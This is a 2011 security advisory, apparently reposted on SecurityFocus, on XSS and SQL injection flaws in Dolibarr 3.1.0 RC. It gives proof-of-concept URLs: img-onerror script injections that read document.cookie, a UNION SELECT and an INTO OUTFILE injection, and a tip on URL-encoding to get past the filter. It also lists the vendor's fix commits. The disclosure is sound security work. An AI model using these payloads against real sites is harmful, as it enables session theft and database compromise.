Multiple vulnerabilities in Dolibarr Nov 23 2011 11:28AM
advisory htbridge ch
Vulnerability ID: HTB23056
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_dolibarr.ht
ml
Product: Dolibarr
Vendor: Dolibarr foundation ( http://www.dolibarr.org/ )
Vulnerable Version: 3.1.0 RC and probably prior
Tested Version: 3.1.0 RC
Vendor Notification: 02 November 2011
Vulnerability Type: XSS, SQL Injection
Status: Fixed by Vendor
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Dolibarr, which can be exploited to perform cross-site scripting & sql injection attacks.

1) Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site

The following PoC code is available:

http://[host]/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%
28document.cookie%29%3E
http://[host]/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:
alert%28document.cookie%29%3E
http://[host]/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript
:alert%28document.cookie%29%3E
http://[host]/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascri
pt:alert%28document.cookie%29%3E

Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")

2) Input passed via the "sortfield", "sortorder" and "sall" GET parameters to /user/index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c
%65%63%74%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14%20--%20
http://[host]/user/index.php?begin=search_user=&sall=&&sortfield=SQL_COD
E_HERE
http://[host]/user/index.php?begin=search_user=&sall=&sortfield=u.login&
sortorder=SQL_CODE_HERE

Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.

3) Input passed via the "id" GET parameter to /user/info.php, /user/perms.php, /user/param_ihm.php, /user/note.php, /user/fiche.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/user/info.php?id=1 INTO OUTFILE '../../../tmp/example'

Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.

4) Input passed via the "rowid" GET parameter to /admin/boxes.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE

Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.

5) Input passed via the "sortfield" & "sortorder" & "sall" GET parameters to /user/group/index.php

is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/user/group/index.php?begin=search_user=&sall=&&sortfield=S
QL_CODE_HERE
http://[host]/user/group/index.php?begin=search_user=&sall=&sortfield=u.
login&sortorder=SQL_CODE_HERE
http://[host]/user/group/index.php?sall=SQL_CODE_HERE

Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.

6) Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site

The following PoC code is available:

http://[host]/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=jav
ascript:alert%28document.cookie%29%3E
http://[host]/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=jav
ascript:alert%28document.cookie%29%3E

Solution: Several patches were added into 3.1 and into develop branch:
https://github.com/Dolibarr/dolibarr/commit/d08d28c0cda1f762a47cc205d436
3de03df16675
https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e35
44a4207e78a1
https://github.com/Dolibarr/dolibarr/commit/c539155d6ac2f5b6ea75b87a16f2
98c0090e535a
https://github.com/Dolibarr/dolibarr/commit/63820ab37537fdff842539425b2b
f2881f0d8e91

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus